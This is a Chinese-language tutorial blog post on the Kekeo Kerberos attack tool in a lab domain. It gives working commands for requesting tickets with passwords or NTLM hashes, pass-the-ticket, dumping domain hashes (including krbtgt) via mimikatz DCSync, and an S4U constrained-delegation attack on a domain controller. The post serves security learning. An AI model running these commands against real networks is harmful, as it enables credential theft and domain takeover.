kekeo的使用
Kekeo是MimiKatz的作者Benjamin用C语言写的针对Kerberos协议进行攻击的工具。它可以发起Kerberos请求,并将请求的票据导入内存中,从而模拟针对Kerberos协议各个阶段发起攻击,以方便安全研究员进行研究和学习。然而由于种种原因,并且其功能其实也没有Rubeus工具强大,导致Kekeo并没有很大范围的被使用。以下简要的讲述Kekeo的一些简单用法,本文的目的是希望大家对Kekeo工具有一个简单的了解。
项目地址:https://github.com/gentilkiwi/kekeo
以下是以KekeoV2.1版本为实验,如图:
Kekeo提供的模块
Kekeo提供了多个模块供大家使用,不同模块有不同的功能。
standard标准模块是Kekeo默认的模块,其提供的一些简单的功能。
如图所示,输入任意一个不存在的命令,这里输入的是 ? ,然后会提示在标准模块中并未提供 ?的功能,接着会列举出standard标准模块中提供的一些命令。
如下,是这些standard标准命令的解释:
这些standard标准命令几乎都不常用,但是需要提一点就是base64命令。
base64命令用于input/output对于base64的支持,如下:
#查看base64的支持
base64
#input 支持base64
base64 /input:on
#output 支持base64
base64 /output:on
#input 不支持base64
base64 /input:off
#output 不支持base64
base64 /output:off
如图所示,可以看到,通过on/off切换input/output对于base64的支持。
除了standard标准模块外,Kekeo提供的其他模块才是重点。如下图,输入任意一个不存在的命令xx::xx,这里输入的是aa::bb,然后会提示aa模块并未发现,接着会列举出Kekeo提供的一些模块如图所示。
如下,是Kekeo提供的一些模块:
其中最常用的便是tgt和tgs模块,以下会演示这两个模块的一些用法。
申请TGT认购权证
Kekeo使用tgt模块申请TGT认购权证,可以使用明文或者密码哈希进行认证。可以将票据导出成文件,也可以将票据直接导入到当前的内存中。
将TGT认购权证导入到内存中后,想请求什么服务,系统就会自动利用该TGT认购权证请求指定服务的ST服务票据。
如当dir域控或者dcsync哈希的时候,会自动请求对应的ST服务票据。
Kekeo支持使用明文密码请求TGT认购权证。以下演示Kekeo自动导入票据和通过mimikatz手动导入票据。
01、Kekeo自动导入票据
如下命令,使用administrator的明文密码请求TGT认购权证,并自动导入到内存中;票据导入到内存中,即可访问高权限服务了。
#明文密码申请TGT认购权证并导入到内存中
tgt::ask /user:administrator /domain:xie.com /password:P@ssword1234 /ptt
如图所示,未导入票据之前,是无法通过dir命令访问域控和mimikatz的DCSync功能导出域内哈希的。
导入票据之后,即可通过dir命令访问域控和通过mimikatz的DCSync功能导出域内哈希。如图所示:
02、使用mimikatz手动导入票据
如下命令,使用administrator的明文密码请求TGT认购权证,并生成为kirbi结尾的票据,此时不导入内存中。
#明文密码申请TGT认购权证,此时会生成一个kirbi结尾的票据
tgt::ask /user:administrator /domain:xie.com /password:P@ssword1234
#使用mimikatz导入kirbi结尾的票据
mimikatz.exe "kerberos::ptt TGT_administrator@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi" "exit"
如图所示,以administrator身份申请一张TGT认购权证,可以看到生成了票据文件TGT_administrator@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi。
然后使用mimikatz将该票据导入到内存中,即可使用该票据了。
如图所示,可以看到在mimikatz将票据导入内存前是无法访问域控AD01的,导入票据之后,即可以访问AD01。
Kekeo也支持使用密码哈希请求TGT认购权证。如下命令,使用administrator的密码哈希请求TGT认购权证。
#密码哈希申请TGT认购权证并导入到内存中
tgt::ask /user:administrator /domain:xie.com /ntlm:33e17aa21ccc6ab0e6ff30eecb918dfb /ptt
#密码哈希申请TGT认购权证,此时会生成一个kirbi结尾的票据
tgt::ask /user:administrator /domain:xie.com /ntlm:33e17aa21ccc6ab0e6ff30eecb918dfb
如图所示,使用密码哈希申请的TGT认购权证,然后直接导入到内存中,此时不会生成以.kirbi结尾的票据文件。票据导入到内存中后,即可访问高权限服务了。
申请ST服务票据
Kekeo使用tgs模块申请ST服务票据,需要提供一张TGT认购权证。因此,需要先使用Kekeo请求一张TGT认购权证,然后再使用tgs模块用该TGT认购权证请求指定服务的ST服务票据。可以将请求的ST服务票据导入内存中或者导出成票据文件。
首先,使用Kekeo请求一张TGT认购权证如图所示。
#明文密码申请TGT认购权证,此时会生成一个kirbi结尾的票据
tgt::ask /user:administrator /domain:xie.com /password:P@ssword1234
接着用上一步请求的TGT认购权证即可请求指定服务的ST服务票据了!这里需要注意的是我们平常请求的CIFS服务的票据,只能用于dir这种操作,而不能使用mimikatz的DCSync功能。要想使用mimikatz的DCSync功能,需要请求LDAP服务。
01、请求CIFS服务
如下命令,用上一步得到的TGT认购权证请求AD01的CIFS服务的ST服务票据。
tgs::ask /tgt:TGT_administrator@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi /service:cifs/AD01.xie.com /ptt
如图所示,可以看到,未请求ST服务票据之前,无法访问AD01的CIFS服务,导入ST服务票据之后,即可访问AD01的CIFS服务了。
并且由于请求的的CIFS服务的票据,因此无法使用mimikatz的DCSync功能导出域用户哈希。
如图所示,可以看到使用mimikatz的DCSync功能导出域用户哈希时报错。
如下命令,用上一步得到的TGT认购权证请求AD01的LDAP服务的ST服务票据。
#请求访问ad01.xie.com的ldap服务的ST服务票据,并导入到内存中
tgs::ask /tgt:TGT_administrator@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi /service:ldap/AD01.xie.com /ptt
#通过mimikatz的DCSync功能导出域用户哈希
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
如图所示,可以看到,未请求ST服务票据之前,无法通过mimikatz的DCSync功能导出域用户哈希,导入ST服务票据之后,即可使用mimikatz的DCSync功能导出域用户哈希。
并且由于请求的是LDAP服务的票据,因此无法使用dir功能访问域控。
如图所示,可以看到使用dir访问域控AD01时提示权限拒绝。
约束性委派攻击
Kekeo工具只支持约束性委派攻击,而不支持基于资源的约束性委派攻击。以下是使用Kekeo工具进行约束性委派攻击。
#使用machine$账号申请一个TGT认购权证
tgt::ask /user:machine /domain:xie.com /password:root
#使用上一步的TGT认购权证,利用S4U协议,以administrator@xie.com用户身份申请一张访问cifs/AD01.xie.com服务的ST服务票据,并导入到内存中
tgs::s4u /tgt:TGT_machine@XIE.COM_krbtgt~xie.com@XIE.COM.kirbi /user:administrator@xie.com /service:cifs/AD01.xie.com /ptt
攻击者创建了一个机器账号machine$,密码为root,如图所示:
并且配置了machine$机器账号到指定cifs/AD01.xie.com服务的约束性委派,如图所示:
现在使用Kekeo工具利用machine$机器账号进行约束性委派攻击,获得域控AD01的权限,如图所示。
- END -
非常感谢您读到现在,由于作者的水平有限,编写时间仓促,文章中难免会出现一些错误或者描述不准确的地方,恳请各位师傅们批评指正。如果你想一起学习AD域安全攻防的话,可以加入下面的知识星球一起学习交流。